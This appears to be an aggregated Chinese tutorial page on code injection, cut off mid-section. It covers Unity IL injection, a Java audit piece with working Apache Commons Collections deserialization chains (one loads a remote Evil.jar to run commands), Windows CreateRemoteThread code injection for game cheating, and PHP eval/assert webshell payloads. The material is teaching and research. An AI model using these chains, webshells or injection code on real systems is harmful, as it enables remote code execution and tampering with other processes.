精华内容
下载资源
问答
  • Unity IL代码注入(基础)
    千次阅读
    2020-06-25 14:30:07

    一、什么是代码注入

    C#程序编译生成中间代码IL,为了实现问题修复和一些通用功能扩展,通常所使用的就是代码注入。

    xlua的热修复方案即采用了代码注入的方式,没有污染C#代码,也不需要提前埋点,十分方便。

    再比如这篇文章讲述了使用代码注入来做一些工具,:自动注入代码统计每个函数的执行效率以及内存分配

    方案

    代码注入需要借助一个注入工具,就是Mono.Cecil开发包,它可以让我们对编译好的DLL程序集进行IL代码注入。

    http://www.mono-project.com/docs/tools+libraries/libraries/Mono.Cecil/

    当然,我们也可以在Unity安装目录下,通话在Unity\Editor\Data\Managed下找到Mono.Cecil.dll、Mono.Cecil.Mdb.dll、Mono.Cecil.Pdb.dll其放在Assets/Plugins/Cecil目录中;(Plugins文件夹是专门用来方式Native插件的,会被自动Build);

    扩展(什么是DLL)

    动态链接库是微软公司在windows操作系统中实现共享函数库概念的一种方式,所谓动态链接就是把一些经常会共享的代码制作成DLL文件,当可执行文件调用到DLL文件时,操作系统才会将DLL加载到内存中,也就是按需加载,能够减少内存浪费。

    DLL的最初目的是为了节约应用程序所需的磁盘和内存空间,通过将许多应用共享的代码切分到同一个DLL中,在硬盘上存为一个文件,在内存中使用一个实例。

    二、实际案例

    使用Mono.Cecil实现IL代码注入

    这个案例主要参考上面这位同学的,主要内容是写了两个用于获取最大值的方法,其中一个方法是错误的,然后通过代码注入进行修复。

     

    using System.Collections;
    using System.Collections.Generic;
    using UnityEngine;
    using System;
    
    public class TestInjectAttribute : Attribute {
        
    }
    
    public class Normal {
        public static int Max(int a, int b) {
            Debug.LogFormat("a = {0}, b = {1}", a, b);
            return a > b ? a : b;
        }
    }
    [TestInject]
    public class Inject {
        public static int Max(int a, int b) {
            return a;
        }
    }
    public class ILTest : MonoBehaviour
    {
        // Start is called before the first frame update
        void Start()
        {
            Debug.LogFormat("Normal Max: {0}", Normal.Max(3, 5));
            Debug.LogFormat("Inject Max: {0}", Inject.Max(3, 5));
        }
    }
    

     在实现代码注入中,尤其是在InjectMethod中真正做代码注入工作的地方,这里需要使用到CIL的中间语言指令,维基百科中给出了所有命令的列表,命令都是根据其含义进行的缩写,比较容易理解:维基百科-List of CIL instructions

    同时如果需要了解CIL,了解C#代码和IL中间代码的转换,可以参考:维基百科-Common Intermediate Language

    using System.Collections;
    using System.Collections.Generic;
    using UnityEngine;
    using System;
    using Mono.Cecil;
    using Mono.Cecil.Cil;
    using UnityEditor;
    using System.Linq;
    
    public static class InjectTool
    {
        public const string AssemblyPath = "./Library/ScriptAssemblies/Assembly-CSharp.dll";
        [MenuItem("CustomTools/Inject")]
        public static void Inject() {
            Debug.Log("Inject Start");
            if (Application.isPlaying || EditorApplication.isCompiling) {
                Debug.Log("Failed: Play Mode or Is Compliling");
                return;
            }
            var readerParameters = new ReaderParameters { ReadSymbols = true };
            var assembly = AssemblyDefinition.ReadAssembly(AssemblyPath, readerParameters);
            if (assembly == null) {
                Debug.LogError(string.Format("Inject Load Assembly Failed: {0}", AssemblyPath));
                return;
            }
            try
            {
                var module = assembly.MainModule;
                foreach (var type in module.Types)
                {
                    var needInjectAttr = typeof(TestInjectAttribute).FullName;
                    bool needInject = type.CustomAttributes.Any(typeAttribute => typeAttribute.AttributeType.FullName == needInjectAttr);
                    if (!needInject)
                    {
                        continue;
                    }
                    foreach (var method in type.Methods)
                    {
                        if (method.IsConstructor || method.IsGetter || method.IsSetter || !method.IsPublic)
                        {
                            continue;
                        }
                        InjectMethod(module, method);
                    }
                }
                assembly.Write(AssemblyPath, new WriterParameters { WriteSymbols = true });
    
            }
            catch (Exception ex)
            {
                Debug.LogError(string.Format("InjectTool Inject failed: {0}", ex));
                throw;
            }
            finally {
                if (assembly.MainModule.SymbolReader != null) {
                    Debug.Log("InjectTool inject SymbolReader.Dispose success");
                    assembly.MainModule.SymbolReader.Dispose();
                }
            }
            Debug.Log("Inject End");
        }
        private static void InjectMethod(ModuleDefinition module, MethodDefinition method) {
            var objType = module.ImportReference(typeof(System.Object));
            var intType = module.ImportReference(typeof(System.Int32));
            var logFormatMethod = module.ImportReference(typeof(Debug).GetMethod("LogFormat", new[] {typeof(string), typeof(object[]) }));
            // 开始注入代码
            var insertPoint = method.Body.Instructions[0];
            var ilProcessor = method.Body.GetILProcessor();
            // 设置一些标签用于语句跳转
            var label1 = ilProcessor.Create(OpCodes.Ldarg_1);
            var label2 = ilProcessor.Create(OpCodes.Stloc_0);
            var label3 = ilProcessor.Create(OpCodes.Ldloc_0);
    
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Nop));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Ldstr, "a = {0}, b = {1}"));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Ldc_I4_2));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Newarr, objType));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Dup));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Ldc_I4_0));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Ldarg_0));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Box, intType));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Stelem_Ref));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Dup));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Ldc_I4_1));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Ldarg_1));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Box, intType));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Stelem_Ref));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Call, logFormatMethod));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Ldarg_0));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Ldarg_1));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Ble, label1));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Ldarg_0));
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Br, label2));
            ilProcessor.InsertBefore(insertPoint, label1);
            ilProcessor.InsertBefore(insertPoint, label2);
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Br, label3));
            ilProcessor.InsertBefore(insertPoint, label3);
            ilProcessor.InsertBefore(insertPoint, ilProcessor.Create(OpCodes.Ret));
        }
    }
    

     

    更多相关内容
  • x64代码注入器1.0.rar

    2021-05-22 14:36:15
    本工具由独立团官方开发,用于测试x64程序执行汇编call功能测试,写x64内存辅助必备工具 可以端游,手游模拟器 ...工具作用类似于之前的32位的代码注入器,用于写call之前的分析call测试call参数调用
  • 汇编代码注入工具.rar

    2020-04-17 15:37:52
    汇编代码注入工具.rar
  • 代码注入器 魔鬼作坊修正版
  • 代码注入

    2018-05-11 15:38:01
    带Try保护的CALL测试防崩溃. call代码注入器,方便进行注入代码进行调试。
  • 代码注入器CodeInjector

    2018-12-01 11:42:03
    代码注入器 CodeInjector 根据PID选择进程,可以载入dll 或者卸载dll 还可以执行代码 等等
  • 汇编代码注入工具,窗口内写入汇编代码,选择目标进行,打开进程,注入代码测试。主要用于远程调用目标进程内的函数。
  • 代码注入器_带异常保护
  • 注入 - 代码注入之远程线程篇 - C_C++_Python_Java - 博客园.pdf
  • 为您提供莫离汇编代码注入器下载,莫离汇编代码注入器,不仅仅是一个x86/x64注入器,还是一个汇编编写工具,它可以编写x64或x86汇编,它还可以把x64或x86汇编代码转成机器码或16进制文本亦或是x64或x86机器码转成...
  • 汇编代码注入

    2018-10-25 23:51:49
    汇编代码注入器.远程注入,代码注入
  • 郁金香代码注入

    2014-03-21 12:10:19
    好用方便的一个快速测试call的工具,你们懂得。
  • 【代码审计】命令注入和代码注入

    千次阅读 2021-11-21 16:20:15
    当命令可控时,就可能会导致命令注入,例如以下代码: String cmd = request.getParameter("cmd"); Runtime.getRuntime().exec(cmd); 这种漏洞原理很简单,主要就是找到执行系统命令的函数,看命令是否可控。 java ...

    0x01 命令注入

    在开发过程中,开发人员可能需要对系统文件进行移动、删除或者执行一些系统命令,这时如果执行的命令用户可控,就会导致命令执行漏洞。

    1、示例

    当命令可控时,就可能会导致命令注入,例如以下代码:

    String cmd = request.getParameter("cmd");
    Runtime.getRuntime().exec(cmd);
    

    这种漏洞原理很简单,主要就是找到执行系统命令的函数,看命令是否可控。

    java 程序中执行系统命令的函数如下:

    Runtime.exec
    Process
    ProcessBuilder.start
    GroovyShell.evaluate
    ...
    

    2、命令注入的限制

    对于系统命令,可以使用连接符来执行多条语句,常见连接符及含义如下:

    ;    多个命令顺序执行,命令之间无任何逻辑关系
    |    前面命令输出结果作为后面命令的输入内容
    ||   逻辑或,当前面命令执行失败后,后面命令才会执行,否则后面命令不执行
    &    前面命令执行后继续执行后面命令
    &&   逻辑与,当前面命令执行成功后,后面命令才会执行,否则后面命令不执行
    

    对于 Java 环境中的命令注入,连接符的使用存在一些限制,例如以下代码:

    Runtime.getRuntime().exec("ping " + url);
    

    这里因为 URL 可控,因此当我们输入 127.0.0.1&ipconfig 时,拼接出来的系统命令就是 ping 127.0.0.1&ipconfig,该命令在系统终端下是能正常运行的,但是在 Java 环境下就会运行失败,这里因为 Java 在程序处理的过程中,会将 127.0.0.1&ipconfig 当做一个完整的字符串而非两条命令,因此上面的代码不存在命令注入。

    0x02 代码注入

    1、介绍

    代码注入因为是直接注入一段代码,因此要比命令注入更加灵活,危害性也更大。

    这里以 Apache Commons collections 组件为例。

    Apache Commons collections 组件 3.1 版本有一段利用反射来完成特定功能的代码,控制相关参数后,就可以进行代码注入。

    这里攻击者可以利用反序列化的方式控制相关参数,完成注入代码,达到执行任意代码的效果。

    与命令注入相比,代码注入更具有灵活性,例如在 Apache Commons collections 反序列化漏洞中直接使用 Runtime.getRuntime().exec() 执行系统命令是无回显的,但如果通过 URLLoader 远程加载类文件以及异常处理机制就可以构造出回显的利用方式。

    这里就以 Apache Commons collections 反序列化漏洞为例,体验一下代码注入,因为现阶段个人水平有限,这里还不能对 Apache Commons collections 反序列化漏洞的原理进行深入分析,等后面学习到相关内容的时候不出意外应该还会碰到这个漏洞,那个时候再好好分析分析这个漏洞。

    2、Apache Commons collections 反序列化漏洞复现

    环境搭建

    该漏洞影响了 3.1 及以下的版本,这里以 3.1 版本为例,首先下载 commons-collections-3.1.zip 文件,下载地址:https://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.1.zip

    解压 commons-collections-3.1.zip 可以得到 commons-collections-3.1.jar 文件,接下来打开 intelliJ IDEA,创建一个普通的 Java 项目,然后选择「文件 --> 项目结构 --> 库 --> + --> Java」,添加 commons-collections-3.1.jar 包,我使用的 jdk 版本为 1.8.0_191

    接下来在「src --> com --> commons」目录下创建 ApacheCommonsCollectionsDemo.java 文件(右击 com.commons 软件包选择:新建 --> Java 类文件)

    无回显利用

    在 ApacheCommonsCollectionsDemo.java 文件下写入以下代码

    package com.commons;
    
    import java.util.HashMap;
    import java.util.Map;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    import org.apache.commons.collections.map.TransformedMap;
    
    public class ApacheCommonsCollectionsDemo {
        public static void main(String[] args) {
    
            //((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc")
            //构造恶意的chain
            Transformer[] transformers = new Transformer[] {
                    //通过内置的ConstantTransformer来获取Runtime类
                    new ConstantTransformer(Runtime.class),
                    //通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,其后类似
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
                    new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})
            };
    
            Transformer transformChain = new ChainedTransformer(transformers);
    
            //普通的Map
            Map mp=new HashMap();
            mp.put("sw", "demo");
    
            // 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chain
            Map transformMap = TransformedMap.decorate(mp, transformChain, transformChain);
    
            // 修改TransformedMap中的一个值,成功执行命令
            Map.Entry entry=(Map.Entry) transformMap.entrySet().iterator().next();
            entry.setValue("test");
        }
    }
    

    注意第 25 行我执行的命令是 open -a Calculator,这里是 Mac 下打开计算机的命令,如果在 Windows 下则需要修改成对应命令。

    运行一下代码,可以看到成功弹出计算器

    这里只是实现了无回显的利用方式,接下来就利用代码注入实现有回显的利用。

    有回显利用

    这里有回显利用的方式是使用 java.net.URLClassLoader 远程加载自定义恶意类,也就是自己放在服务器上的 jar 包,然后在抛出的异常信息中获得回显结果。

    因此这里首先需要先写一个恶意类,具体如下:

    import java.io.BufferedReader;
    import java.io.InputStreamReader;
    
    public class Evil {
        public static void Exec(String args) throws Exception {
            Process proc = Runtime.getRuntime().exec(args);
            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            String result = sb.toString();
            Exception e = new Exception(result);
            throw e;
        }
    }
    

    将恶意类打包成 jar 文件,并放到服务器上,这里因为是本地演示,就直接在本地开个 Python HTTP 服务了。

    javac Evil.java
    jar -cvf Evil.jar Evil.class
    python3 -m http.server 80
    

    然后回到 intelliJ IDEA,在 com.commons 软件包中新建 ApacheCommonsCollectionsDemo2.java 文件,在文件中写入以下内容

    package com.commons;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.net.MalformedURLException;
    import java.util.HashMap;
    import java.util.Map;
    
    public class ApacheCommonsCollectionsDemo2 {
        public static void main(String[] args) throws Exception {
            Transformer[] transformers = new Transformer[0];
            try {
                transformers = new Transformer[]{
                        new ConstantTransformer(java.net.URLClassLoader.class),
                        new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{java.net.URL[].class}}),
                        new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new java.net.URL[]{new java.net.URL("http://127.0.0.1/Evil.jar")}}}),
                        new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"Evil"}),
                        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"Exec", new Class[]{String.class}}),
                        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{"uname"}})
                };
            } catch (MalformedURLException e) {
                e.printStackTrace();
            }
    
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
            BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
    
            Field valfield = poc.getClass().getDeclaredField("val");
            valfield.setAccessible(true);
            valfield.set(poc, entry);
    
            File f = new File("payload.ser");
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(poc);
            out.close();
    
            FileInputStream fis = new FileInputStream("payload.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
            ois.close();
        }
    }
    

    这里执行的命令是 uname,运行代码可以看到报错信息里显示了 Darwin,说明命令被成功执行了。

    这样就利用代码注入实现了 Apache Commons collections 反序列化漏洞有回显的利用。

    参考链接:

    https://www.freebuf.com/vuls/251664.html

    https://www.anquanke.com/post/id/224487

    https://blog.csdn.net/Candyys/article/details/106006282

    https://blog.csdn.net/java276582434/article/details/90550578

    原文链接:

    https://www.teamssix.com/211121-153433.html

    更多信息欢迎关注我的个人微信公众号:TeamsSix

    展开全文
  • 代码注入器 郁金香

    2013-06-10 12:23:19
    代码注入器 郁金香
  • 代码注入器 CALL测试 代码测试 CALL注入 无病毒
  • 根据网上视频课程学习总计知识点,文档结构分为php代码注入和os代码注入 php代码注入从原理 相关语句函数 利用 防御方面做出总结 os系统命令注入从 原理成因 相关函数 利用 防御方面做出总结 整理为文档 可以方便...
  • APK代码注入

    热门讨论 2013-04-02 18:18:34
    APK代码注入,可以在已经完整的apk中注入自己的代码
  • 代码注入

    千次阅读 2020-11-01 14:00:33
    代码注入在分析程序或制作外挂外挂时是非常爱使用的一种手段, 通常用于调用程序功能, 比如调用程序中的call;其基本原理和DLL注入的原理一样, 目前已经有很多工具可以直接实现代码注入或DLL注入了, 本文只是学习一下...

    简介

    代码注入在分析程序或制作外挂外挂时是非常爱使用的一种手段, 通常用于调用程序功能, 比如调用程序中的call;其基本原理和DLL注入的原理一样, 目前已经有很多工具可以直接实现代码注入或DLL注入了, 本文只是学习一下原理…

    思路

    思路很简单, 基本就两大步:

    1. OpenProcess打开需要注入的程序, 获取句柄;
    2. 通过CreateRemoteThread函数将我们需要注入的代码以新的线程的方式进行运行, 到达注入的效果;

    通过PEB获取模块基址

    通常我们注入的代码一般都是汇编, 如果注入是很复杂的代码, 我们通常将代码写到DLL中, 直接用DLL注入了;
    所以为了使我们的汇编根据有健壮性, 这里说一下如何用汇编获取程序模块的基地址, 注入的代码就相当于是写shellcode;

    PEB

    fs:[0x30]地址处保存着一个指针, 指向了PEB结构, 结构基本如下:

    typedef struct _PEB { // Size: 0x1D8
    /*000*/ UCHAR InheritedAddressSpace;
    /*001*/ UCHAR ReadImageFileExecOptions;
    /*002*/ UCHAR BeingDebugged;
    /*003*/ UCHAR SpareBool; // Allocation size
    /*004*/ HANDLE Mutant;
    /*008*/ HINSTANCE ImageBaseAddress; // Instance
    /*00C*/ VOID *DllList;  //_PEB_LDR_DATA        ;进程加载的模块链表
    /*010*/ PPROCESS_PARAMETERS *ProcessParameters;
    /*014*/ ULONG SubSystemData;
    /*018*/ HANDLE DefaultHeap;
    /*01C*/ KSPIN_LOCK FastPebLock;
    /*020*/ ULONG FastPebLockRoutine;
    /*024*/ ULONG FastPebUnlockRoutine;
    /*028*/ ULONG EnvironmentUpdateCount;
    /*02C*/ ULONG KernelCallbackTable;
    /*030*/ LARGE_INTEGER SystemReserved;
    /*038*/ ULONG FreeList;
    /*03C*/ ULONG TlsExpansionCounter;
    /*040*/ ULONG TlsBitmap;
    /*044*/ LARGE_INTEGER TlsBitmapBits;
    /*04C*/ ULONG ReadOnlySharedMemoryBase;
    /*050*/ ULONG ReadOnlySharedMemoryHeap;
    /*054*/ ULONG ReadOnlyStaticServerData;
    /*058*/ ULONG AnsiCodePageData;
    /*05C*/ ULONG OemCodePageData;
    /*060*/ ULONG UnicodeCaseTableData;
    /*064*/ ULONG NumberOfProcessors;
    /*068*/ LARGE_INTEGER NtGlobalFlag;
    /*070*/ LARGE_INTEGER CriticalSectionTimeout;
    /*078*/ ULONG HeapSegmentReserve;
    /*07C*/ ULONG HeapSegmentCommit;
    /*080*/ ULONG HeapDeCommitTotalFreeThreshold;
    /*084*/ ULONG HeapDeCommitFreeBlockThreshold;
    /*088*/ ULONG NumberOfHeaps;
    /*08C*/ ULONG MaximumNumberOfHeaps;
    /*090*/ ULONG ProcessHeaps;
    /*094*/ ULONG GdiSharedHandleTable;
    /*098*/ ULONG ProcessStarterHelper;
    /*09C*/ ULONG GdiDCAttributeList;
    /*0A0*/ KSPIN_LOCK LoaderLock;
    /*0A4*/ ULONG OSMajorVersion;
    /*0A8*/ ULONG OSMinorVersion;
    /*0AC*/ USHORT OSBuildNumber;
    /*0AE*/ USHORT OSCSDVersion;
    /*0B0*/ ULONG OSPlatformId;
    /*0B4*/ ULONG ImageSubsystem;
    /*0B8*/ ULONG ImageSubsystemMajorVersion;
    /*0BC*/ ULONG ImageSubsystemMinorVersion;
    /*0C0*/ ULONG ImageProcessAffinityMask;
    /*0C4*/ ULONG GdiHandleBuffer[0x22];
    /*14C*/ ULONG PostProcessInitRoutine;
    /*150*/ ULONG TlsExpansionBitmap;
    /*154*/ UCHAR TlsExpansionBitmapBits[0x80];
    /*1D4*/ ULONG SessionId;
    } PEB, *PPEB;
    

    PEB结构的偏移0xc处保存着另外一个指针ldr,该指针为PEB_LDR_DATA:

    PEB_LDR_DATA

    typedef struct _PEB_LDR_DATA
    {
     ULONG Length; // +0x00
     BOOLEAN Initialized; // +0x04
     PVOID SsHandle; // +0x08
     LIST_ENTRY InLoadOrderModuleList; // +0x0c
     LIST_ENTRY InMemoryOrderModuleList; // +0x14
     LIST_ENTRY InInitializationOrderModuleList;// +0x1c
    } PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
    

    PEB_LDR_DATA结构的后三个成员是指向LDR_MODULE链表结构中相应三条双向链表头的指针, 分别是按照加载顺序, 在内存中地址顺序和初始化顺序排列的模块信息结构的指针, 其中LDR_MODULE结构就是_LDR_DATA_TABLE_ENTRY结构; 而链表的第一个就保存了当前程序的基地址;

    _LDR_DATA_TABLE_ENTRY结构

    typedef struct _LDR_DATA_TABLE_ENTRY  
    {  
        LIST_ENTRY InLoadOrderLinks;  // +0x00
        LIST_ENTRY InMemoryOrderLinks;  // +0x08
        LIST_ENTRY InInitializationOrderLinks;  // +0x10
        PVOID DllBase;  // +0x18
        PVOID EntryPoint;  // +0x1c
        DWORD SizeOfImage;  // +0x20
        UNICODE_STRING FullDllName;  // +0x24
        UNICODE_STRING BaseDllName;  // +0x2c
        DWORD Flags;  
        WORD LoadCount;  
        WORD TlsIndex;  
        LIST_ENTRY HashLinks;  
        PVOID SectionPointer;  
        DWORD CheckSum;  
        DWORD TimeDateStamp;  
        PVOID LoadedImports;  
        PVOID EntryPointActivationContext;  
        PVOID PatchInformation;  
    }LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;  
    

    综上所述, 我们可以利用一下这段汇编代码获取程序的基地址:

    		mov eax, fs:[0x30];		// PEB
    		mov ebx, [eax + 0xc];	// PEB_LDR_DATA
    		mov eax, [ebx + 0x14];	// InMemoryOrderModuleList
    		mov ebx, [eax + 0x10];	// ebx = InInitializationOrderLinks[0]
    

    或者

    		mov eax, fs:[0x30];		// PEB
    		mov ebx, [eax + 0x8];	// ImageBaseAddress
    

    如果在DLL当中获取程序基地址, 可以使用下面的代码:

    void Get_addr(DWORD pro_id){
    	HANDLE hpro = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pro_id);
    		if (hpro == 0){
    			printf("无法获取进程句柄");
    		}
    		printf("进程句柄id: %d\n",hpro);
    	
    		// 获取每一个模块加载基址
    		DWORD pro_base = NULL;
    		HMODULE hModule[100] = {0};
    	    DWORD dwRet = 0;
    		int num = 0;
    	    int bRet = EnumProcessModulesEx(hpro, (HMODULE *)(hModule), sizeof(hModule),&dwRet,NULL);
    	    if (bRet == 0){
    	        printf("EnumProcessModules");
    	    }
    		// 总模块个数
    		num = dwRet/sizeof(HMODULE);
    		printf("总模块个数: %d\n",num);
    		// 打印每一个模块加载基址
    		char lpBaseName[100];
    		for(int i = 0;i<num;i++){
    			GetModuleBaseNameA(hpro,hModule[i],lpBaseName,sizeof(lpBaseName));
    			printf("%-2d %-25s基址: 0x%p\n",i,lpBaseName,hModule[i]);
    		}
    	
    	    pro_base = (DWORD)hModule[0];
    		printf("程序基址: 0x%p\n",pro_base);
    }
    

    或者:

    void Get_addr(){
    	HMODULE addr = GetModuleHandle(NULL);
    	printf("addr: 0x%p\n", addr);
    }
    

    代码注入

    首先这是我们要注入的程序代码:

    
    // Demo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    #include <stdio.h>
    #include <windows.h>
    
    void add(int a) {
    	printf("a: %d\n", a);
    }
    
    int main()
    {
    	add(8); 
    	printf("add_addr: 0x%p\n", add); // add函数地址
    	while (true)
    	{
    		printf("Demo....\n");
    		getchar();
    	}
    	return 0;
    }
    

    Demo
    此程序有一个add函数, 可以接收一个参数, 并且在程序中只调用一次, 我们可以通过代码注入的方式调用这个函数. 注入代码如下:

    // Win.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    //
    
    #include<stdio.h>
    #include<Windows.h>
    #include<psapi.h>
    
    void injected_code() {
    	__asm {
    		// 获取基地址
    		mov eax, fs:[0x30];		// PEB
    		mov ebx, [eax + 0xc];	// PEB_LDR_DATA
    		mov eax, [ebx + 0x14];	// InMemoryOrderModuleList
    		mov ebx, [eax + 0x10];	// ebx = 基址
    
    		push	100;			// add函数参数
    		add		ebx, 0x0002964F;  // ebx = 基址 + 偏移  add函数地址
    		call	ebx;			// 调用add函数 
    		add		esp, 0x4;
    	}
    }
    
    void inject_fun(DWORD pid) {
    
    	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    	printf("hProcess: 0x%x\n", hProcess);
    	LPVOID call_addr = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	printf("call_addr: 0x%x\n", call_addr);
    	int ret = WriteProcessMemory(hProcess, call_addr, injected_code, 0x1000, NULL);
    	printf("WriteProcessMemory: 0x%x\n", ret);
    	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)call_addr, NULL, 0, NULL);
    	printf("hthread: %x\n", hThread);
    	WaitForSingleObject(hThread, 2000);
    	CloseHandle(hProcess);
    	CloseHandle(hThread);
    }
    
    int main()
    {
    	HWND Prohan = FindWindowA(NULL, "C:\\Users\\cc-sir\\Desktop\\Demo.exe");
    	if (Prohan) {
    		printf("Prohan: 0x%x\n", Prohan);
    		DWORD Pid;
    		GetWindowThreadProcessId(Prohan, &Pid);
    		printf("Pid: %d\n", Pid);
    		// LPCSTR title = "sir";
    		// SetWindowText(Prohan, title);
    		inject_fun(Pid);
    	}
    	else {
    		printf("FindWindow Error!\n");
    	}
    	system("pause");
    	return 0;
    }
    

    代码当中重新push 100作为add函数的参数进行注入:
    inject

    总结

    通过代码注入可以在不修改程序的情况下调用程序当中的代码段, 在实际过程中还是使用工具比较方便…

    展开全文
  • smali代码注入器 仍在开发中。 自述文件将很快更新。 在Android应用中执行代码注入的脚本。 代码注入是在应用程序的组装级别上执行的。 因此,用户首先需要对应用进行反汇编才能获取其.smali汇编文件。 对于此任务...
  • PHP 代码注入漏洞

    千次阅读 2020-12-15 11:17:40
    文章目录PHP 代码注入原理及成因漏洞危害相关函数和语句eval()语言结构assert()...代码执行(注入)类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。

    PHP 代码注入

    PHP 代码注入 属于代码注入漏洞中的一种。

    原理及成因

    PHP 代码执行(注入)是指(Web 方面)应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。代码执行(注入)类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个web后门的存在。

    1. 程序中含有可以执行php 代码的函数或者语言结构
    2. 传入第一点中的参数,客户端可控,直接修改或者影响

    漏洞危害

    Web 应用如果存在代码执行漏洞是一件非常可怕的事情,就像一个人没有穿衣服,赤裸裸的暴露在光天化日之下。可以通过代码执行漏洞继承Web 用户权限,执行任意代码。如果具有服务器没有正确配置,Web 用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。

    PHP 中有很多函数和语句都会造成PHP代码执行漏洞。

    相关函数和语句

    eval()语言结构

    将传进来的字符串当作php代码执行,里面的参数必须加分号才能执行!
    例如:一句话木马

    <?php
    if(isset($_REQUEST['code'])){
    	eval($_REQUEST['code']);
    }
    ?>

    在这里插入图片描述
    在这里插入图片描述

    assert()函数

    将传进来的字符串当作php代码执行,可以不用加分号就能执行!

    <?php
    if(@isset($_REQUEST['code'])){
     @assert($_REQUEST['code']);
    }
    ?>

    在这里插入图片描述

    preg_replace()函数

    对字符串进行正则处理
    参数和返回值如下:
    mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject [,int limit = -1[,int &$count)1)

    原理:在subject中搜索匹配pattern正则表达式的部分用replacment来替换,当pattern参数存在/e 修饰符时,会将replacment的值当作php 代码执行。

    <?php
    if(isset($_GET['code'])) {
    $code=$_GET['code'];
    preg_replace( "/\[(.*)\]/e",'\\1',$code);
    // 匹配[]里面的内容,\\1代表正则第一次匹配的内容
    }
    ?>

    在这里插入图片描述

    call_user_func()函数

    call_user_func( )等函数都有调用其他函数的功能,其中的第一个参数作为要调用的函数名(回调函数),第二个参数为回调函数的参数,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。
    以call_user_func()为例子,该函数的第一个参数作为回调函数,后面的参数为回调函数的参数,测试代码如下:

    <?php
    if(isset($_GET['fun'])) {
     $fun=$_GET['fun'];//assert
     $para=$_GET['para'];//phpinfo();
     call_user_func($fun,$para);//eval(phpinfo();)
    }
    ?>

    在这里插入图片描述

    动态函数$a($b)

